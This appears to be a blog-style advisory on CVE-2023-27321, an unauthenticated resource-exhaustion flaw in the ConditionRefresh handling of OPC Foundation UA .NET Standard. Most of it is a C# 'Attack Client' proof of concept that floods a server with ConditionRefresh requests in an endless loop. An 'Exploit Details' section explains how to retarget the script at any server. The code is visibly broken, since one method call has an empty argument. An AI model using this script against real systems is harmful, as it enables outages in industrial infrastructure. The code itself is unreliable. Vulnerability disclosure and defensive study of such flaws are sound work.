CVE-2023-27321 - OPC Foundation UA .NET Standard ConditionRefresh Resource Exhaustion Denial-of-Service Vulnerability and Exploit Details

A critical vulnerability, dubbed CVE-2023-27321, has been identified in OPC Foundation UA .NET Standard, which is a widely-used communication protocol in industrial automation and numerous other industries. This vulnerability can be exploited by remote attackers to create a denial-of-service (DoS) condition on affected installations. The alarming aspect of this vulnerability is that authentication is not required for exploiting it, potentially leaving systems wide open to attacks.

In this post, we will dive deeper into the vulnerability, the code snippet that causes the issue, and the potential impact of this vulnerability on affected systems. We will also provide links to the original references for further information.

Vulnerability Overview

The vulnerability exists within the handling of OPC UA ConditionRefresh requests. An attacker can exploit the vulnerability by sending a large number of requests, which consumes all available resources on the server, causing it to crash and become unresponsive. This allows the attacker to create a denial-of-service condition on the targeted system. The vulnerability was initially reported as ZDI-CAN-20505.

Code Snippet

This is a sample code snippet to simulate the vulnerability by sending a large number of ConditionRefresh requests:

using System;
using System.Threading;
using Opc.Ua.Client;

namespace CVE_2023_27321_PoC
{
    class Program
    {
        static void Main(string[] args)
        {
            string endpointUrl = "opc.tcp://example.com:484";

            ApplicationInstance application = new ApplicationInstance();
            application.ApplicationName = "Attack Client";
            application.ApplicationType = ApplicationType.Client;
            application.ConfigSectionName = "AttackClient";

            ClientConfiguration config = application.LoadApplicationConfiguration(false).Result;
            application.CheckApplicationInstanceCertificate(false, ).Wait();

            Session session = Session.Create(config, new ConfiguredEndpoint(null, new Uri(endpointUrl)), false, false, 60000, new UserIdentity(new AnonymousIdentityToken()), null).Result;

            while (true)
            {
                try
                {
                    session.ConditionRefresh();
                    Console.WriteLine("ConditionRefresh request sent.");
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"Error: {ex.Message}");
                }

                Thread.Sleep(10);
            }
        }
    }
}

For more information about this vulnerability, please refer to the following links

1. OPC Foundation Security Advisory
2. Zero Day Initiative - ZDI-CAN-20505

Exploit Details

An attacker can simply modify the endpointUrl in the code snippet above to target a specific OPC UA server. Since the authentication is not required to exploit this vulnerability, the attacker can execute the code and send a high volume of ConditionRefresh requests to the targeted server. Such an attack would lead to resource exhaustion and eventually result in a denial-of-service condition on the affected system.

Conclusion

The CVE-2023-27321 vulnerability poses a serious risk to the countless systems that rely on OPC Foundation UA .NET Standard. It highlights the importance of properly handling input from untrusted sources and implementing necessary security measures to protect critical infrastructure.

System administrators and security professionals are strongly advised to watch out for patches and updates from the OPC Foundation, as well as any relevant mitigations that may help address this vulnerability.

Timeline

Published on: 05/07/2024 23:15:15 UTC